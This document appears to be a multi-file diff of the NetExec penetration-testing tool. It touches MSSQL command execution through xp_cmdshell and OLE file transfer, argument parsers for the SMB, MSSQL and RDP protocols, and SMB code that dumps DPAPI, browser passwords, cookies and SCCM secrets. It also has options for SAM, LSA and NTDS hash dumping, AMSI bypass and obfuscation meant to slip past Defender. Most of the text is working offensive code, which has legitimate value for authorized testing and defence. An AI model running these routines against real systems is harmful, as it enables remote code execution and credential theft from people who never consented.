self.logger.debug(f"ps_execute response: {response}")
return response
def ps_execute(
self,
payload=None,
get_output=False,
force_ps32=False,
dont_obfs=False,
):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output:
get_output = True
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
return self.execute(ps_command, get_output)
@requires_admin
def put_file(self):
+27 -42
View File
@@ -5,85 +5,70 @@ class MSSQLEXEC:
def __init__(self, connection, logger):
self.mssql_conn = connection
self.logger = logger
self.outputBuffer = []
def execute(self, command):
result = None
def execute(self, command, output=False):
try:
self.logger.debug("Attempting to enable xp cmd shell")
self.enable_xp_cmdshell()
except Exception as e:
self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
try:
cmd = f"exec master..xp_cmdshell '{command}'"
self.logger.debug(f"Attempting to execute query: {cmd}")
result = self.mssql_conn.sql_query(cmd)
self.logger.debug(f"Raw results from query: {result}")
if result:
result = "\n".join(line["output"] for line in result if line["output"] != "NULL")
self.logger.debug(f"Concatenated result together for easier parsing: {result}")
# if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...)
if "Preparing modules for first use" in result and "Completed" not in result:
self.logger.error("Error when executing PowerShell (received 'preparing modules for first use'), try prepending $ProgressPreference = 'SilentlyContinue'; to your command")
result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
except Exception as e:
self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
try:
self.logger.debug("Attempting to disable xp cmd shell")
self.disable_xp_cmdshell()
except Exception as e:
self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
return result
if output:
self.logger.debug(f"SQL Query Result: {result}")
for row in result:
if row["output"] == "NULL":
continue
self.outputBuffer.append(row["output"])
else:
self.logger.info("Output set to disabled")
return self.outputBuffer
def enable_xp_cmdshell(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
def disable_xp_cmdshell(self):
query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
def enable_ole(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;")
def disable_ole(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;")
def put_file(self, data, remote):
try:
self.enable_ole()
hexdata = data.hex()
self.logger.debug(f"Hex data to write to file: {hexdata}")
query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query(f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;")
self.disable_ole()
except Exception as e:
self.logger.debug(f"Error uploading via mssqlexec: {e}")
def file_exists(self, remote):
try:
query = f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n"
self.logger.debug(f"Executing query: {query}")
res = self.mssql_conn.batch(query)
self.logger.debug(f"File check response: {res}")
return res[0]["n"] == 1
res = self.mssql_conn.batch(f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n")[0]["n"]
return res == 1
except Exception:
return False
def get_file(self, remote, local):
try:
query = f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
data = self.mssql_conn.rows
self.logger.debug(f"Get file returned: {data}")
self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs")
data = self.mssql_conn.rows[0]["BulkColumn"]
with open(local, "wb+") as f:
f.write(binascii.unhexlify(data[0]["BulkColumn"]))
f.write(binascii.unhexlify(data))
except Exception as e:
self.logger.debug(f"Error downloading via mssqlexec: {e}")
+9 -14
View File
@@ -1,11 +1,8 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port")
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout", type=int, default=5)
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port (default: 1433)")
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout, default is %(default)s seconds", type=int, default=5)
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
dgroup = mssql_parser.add_mutually_exclusive_group()
@@ -13,20 +10,18 @@ def proto_args(parser, parents):
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
xgroup = cgroup.add_mutually_exclusive_group()
xgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
xgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
psgroup = mssql_parser.add_argument_group("Powershell Options", "Options for PowerShell execution")
psgroup.add_argument("--force-ps32", action="store_true", default=False, help="Force the PowerShell command to run in a 32-bit process via a job; WARNING: depends on the job completing quickly, so you may have to increase the timeout")
psgroup.add_argument("--obfs", action="store_true", default=False, help="Obfuscate PowerShell ran on target; WARNING: Defender will almost certainly trigger on this")
psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", type=str, help="File with a custom AMSI bypass")
psgroup = mssql_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
psgroup.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
return parser
+6 -9
View File
@@ -1,11 +1,8 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=[std_parser, module_parser])
rdp_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
rdp_parser.add_argument("--port", type=int, default=3389, help="RDP port")
rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection")
rdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port")
rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection, defalut is %(default)ss")
rdp_parser.add_argument("--nla-screenshot", action="store_true", help="Screenshot RDP login prompt if NLA is disabled")
dgroup = rdp_parser.add_mutually_exclusive_group()
@@ -14,7 +11,7 @@ def proto_args(parser, parents):
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image, default is %(default)ss")
egroup.add_argument("--res", default="1024x768", help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"')
return parser
+43 -158
View File
@@ -34,7 +34,6 @@ from nxc.helpers.misc import gen_random_string, validate_ntlm
from nxc.logger import NXCAdapter
from nxc.protocols.smb.firefox import FirefoxTriage
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U
from nxc.protocols.smb.smb_share import SMB_Share_Enumeration
from nxc.servers.smb import NXCSMBServer
from nxc.protocols.smb.wmiexec import WMIEXEC
from nxc.protocols.smb.atexec import TSCH_EXEC
@@ -50,13 +49,12 @@ from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.powershell import create_ps_command
from dploot.triage.vaults import VaultsTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken
from dploot.triage.browser import BrowserTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.sccm import SCCMTriage
from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup
@@ -148,9 +146,6 @@ class smb(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.server_os_major = None
self.server_os_minor = None
self.server_os_build = None
self.os_arch = 0
self.hash = None
self.lmhash = ""
@@ -165,7 +160,6 @@ class smb(connection):
self.no_da = None
self.no_ntlm = False
self.protocol = "SMB"
self.is_guest = None
connection.__init__(self, args, db, host)
@@ -234,19 +228,7 @@ class smb(connection):
self.domain = self.hostname
self.targetDomain = self.hostname
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
# Also only on Windows we should get an OS arch as for that we would need MSRPC
self.server_os = self.conn.getServerOS()
self.server_os_major = self.conn.getServerOSMajor()
self.server_os_minor = self.conn.getServerOSMinor()
self.server_os_build = self.conn.getServerOSBuild()
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix - Samba"
elif self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix"
self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
self.logger.extra["hostname"] = self.hostname
if isinstance(self.server_os.lower(), bytes):
@@ -327,8 +309,7 @@ class smb(connection):
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
if "Unix" not in self.server_os:
self.check_if_admin()
self.check_if_admin()
if username == "":
self.username = self.conn.getCredentials()[0]
@@ -393,11 +374,8 @@ class smb(connection):
self.domain = domain
self.conn.login(self.username, self.password, domain)
self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
user_id = self.db.get_credential("plaintext", domain, self.username, self.password)
@@ -405,7 +383,7 @@ class smb(connection):
self.db.add_loggedin_relation(user_id, host_id)
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}"
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and self.username != "":
@@ -465,17 +443,14 @@ class smb(connection):
self.nthash = nthash
self.conn.login(self.username, "", domain, lmhash, nthash)
self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
user_id = self.db.add_credential("hash", domain, self.username, self.hash)
self.check_if_admin()
user_id = self.db.add_credential("hash", domain, self.username, nthash)
host_id = self.db.get_hosts(self.host)[0].id
self.db.add_loggedin_relation(user_id, host_id)
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}"
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and self.username != "":
@@ -555,7 +530,6 @@ class smb(connection):
return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
def check_if_admin(self):
self.logger.debug(f"Checking if user is admin on {self.host}")
rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
dce = rpctransport.get_dce_rpc()
try:
@@ -569,7 +543,6 @@ class smb(connection):
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
self.logger.debug(f"User is admin on {self.host}!")
self.admin_privs = True
except scmr.DCERPCException:
self.admin_privs = False
@@ -708,19 +681,14 @@ class smb(connection):
except UnicodeDecodeError:
self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
output = output.decode("cp437")
self.logger.debug(f"Raw Output: {output}")
output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()])
self.logger.debug(f"Cleaned Output: {output}")
if "This script contains malicious content" in output:
self.logger.fail("Command execution blocked by AMSI")
return None
output = output.strip()
self.logger.debug(f"Output: {output}")
if (self.args.execute or self.args.ps_execute) and output:
self.logger.success(f"Executed command via {current_method}")
output_lines = StringIO(output).readlines()
for line in output_lines:
buf = StringIO(output).readlines()
for line in buf:
self.logger.highlight(line.strip())
return output
else:
@@ -728,37 +696,29 @@ class smb(connection):
return False
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
def ps_execute(
self,
payload=None,
get_output=False,
methods=None,
force_ps32=False,
dont_obfs=False,
):
response = []
obfs = obfs if obfs else self.args.obfs
encode = encode if encode else not self.args.no_encode
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
get_output = True if not self.args.no_output else get_output
self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output:
get_output = True
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
if os.path.isfile(payload):
self.logger.debug(f"File payload set: {payload}")
with open(payload) as commands:
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands]
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods) for c in commands]
else:
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)]
self.logger.debug(f"ps_execute response: {response}")
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods)]
return response
def shares(self):
if self.args.shares != True:
smb_enumeration = SMB_Share_Enumeration(self, self.conn)
return smb_enumeration.enumerate_path(self.args.shares)
temp_dir = ntpath.normpath("\\" + gen_random_string())
permissions = []
@@ -1157,8 +1117,7 @@ class smb(connection):
record = wmi_results.getProperties()
records.append(record)
for k, v in record.items():
if k != "TimeGenerated": # from the wcc module, but this is a small hack to get it to stop spamming - TODO: add in method to disable output for this function
self.logger.highlight(f"{k} => {v['value']}")
self.logger.highlight(f"{k} => {v['value']}")
except Exception as e:
if str(e).find("S_FALSE") < 0:
raise e
@@ -1330,7 +1289,6 @@ class smb(connection):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)
def enable_remoteops(self):
try:
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
@@ -1385,67 +1343,10 @@ class smb(connection):
except Exception as e:
self.logger.exception(str(e))
@requires_admin
def sccm(self):
masterkeys = []
if self.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.args.mkfile)
except Exception as e:
self.logger.fail(str(e))
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.hostname + "." + self.domain if self.kerberos else self.host,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
aesKey=self.aesKey,
no_pass=True,
use_kcache=self.use_kcache,
)
try:
conn = DPLootSMBConnection(target)
conn.smb_session = self.conn
except Exception as e:
self.logger.debug(f"Could not upgrade connection: {e}")
return
try:
self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
dpapiSystem={},
)
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
self.logger.debug(f"Could not get masterkeys: {e}")
if len(masterkeys) == 0:
self.logger.fail("No masterkeys looted")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
try:
# Collect Chrome Based Browser stored secrets
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, use_wmi=self.args.sccm == "wmi")
sccmcreds, sccmtasks, sccmcollections = sccm_triage.triage_sccm()
for sccmcred in sccmcreds:
self.logger.highlight(f"[NAA Account] {sccmcred.username.decode('latin-1')}:{sccmcred.password.decode('latin-1')}")
for sccmtask in sccmtasks:
self.logger.highlight(f"[Task sequences secret] {sccmtask.secret.decode('latin-1')}")
for sccmcollection in sccmcollections:
self.logger.highlight(f"[Collection Variable] {sccmcollection.variable.decode('latin-1')}:{sccmcollection.value.decode('latin-1')}")
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@requires_admin
def dpapi(self):
dump_system = "nosystem" not in self.args.dpapi
logging.getLogger("dploot").disabled = True
if self.args.pvk is not None:
try:
@@ -1536,7 +1437,6 @@ class smb(connection):
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
masterkeys += masterkeys_triage.triage_masterkeys()
@@ -1596,34 +1496,22 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error while looting browsers: {e}")
for credential in browser_credentials:
if isinstance(credential, LoginData):
cred_url = credential.url + " -" if credential.url != "" else "-"
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.username,
credential.password,
credential.url,
)
elif isinstance(credential, GoogleRefreshToken):
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] Google Refresh Token: {credential.service}:{credential.token}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.service,
credential.token,
"Google Refresh Token",
)
cred_url = credential.url + " -" if credential.url != "" else "-"
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.username,
credential.password,
credential.url,
)
if dump_cookies and cookies:
self.logger.display("Start Dumping Cookies")
for cookie in cookies:
if cookie.cookie_value != "":
self.logger.highlight(f"[{cookie.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
self.logger.display("End Dumping Cookies")
elif dump_cookies:
self.logger.fail("No cookies found")
@@ -1667,7 +1555,7 @@ class smb(connection):
credential.url,
)
if not (credentials or system_credentials or browser_credentials or cookies or vaults or firefox_credentials):
if not (credentials and system_credentials and browser_credentials and cookies and vaults and firefox_credentials):
self.logger.fail("No secrets found")
@requires_admin
@@ -1804,6 +1692,3 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error calling remote_ops.finish(): {e}")
NTDS.finish()
def mark_guest(self):
return highlight(f"{highlight('(Guest)')}" if self.is_guest else "")
+6 -19
View File
@@ -133,7 +133,7 @@ class TSCH_EXEC:
xml = self.gen_xml(command, fileless)
self.logger.debug(f"Task XML: {xml}")
self.logger.info(f"Task XML: {xml}")
taskCreated = False
self.logger.info(f"Creating task \\{tmpName}")
try:
@@ -181,35 +181,22 @@ class TSCH_EXEC:
else:
":".join(map(str, self.__rpctransport.get_socket().getpeername()))
smbConnection = self.__rpctransport.get_smb_connection()
tries = 0
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries > self.__tries:
if tries >= self.__tries:
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} left, retrying...")
if str(e).find("SHARING") > 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
sleep(3)
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(str(e))
+6 -18
View File
@@ -247,35 +247,23 @@ class MMCEXEC:
if self.__retOutput is False:
self.__outputBuffer = ""
return
tries = 0
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries > self.__tries:
if tries >= self.__tries:
self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
# Output not finished, let's wait
sleep(2)
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(str(e))
+60 -68
View File
@@ -1,90 +1,82 @@
from argparse import _StoreTrueAction
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser])
smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
smb_parser.add_argument("--port", type=int, default=445, help="SMB port")
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share")
smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)")
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)")
smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
self_delegate_arg.make_required = [delegate_arg]
cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method")
cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cred_gathering_group.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC")
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC")
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
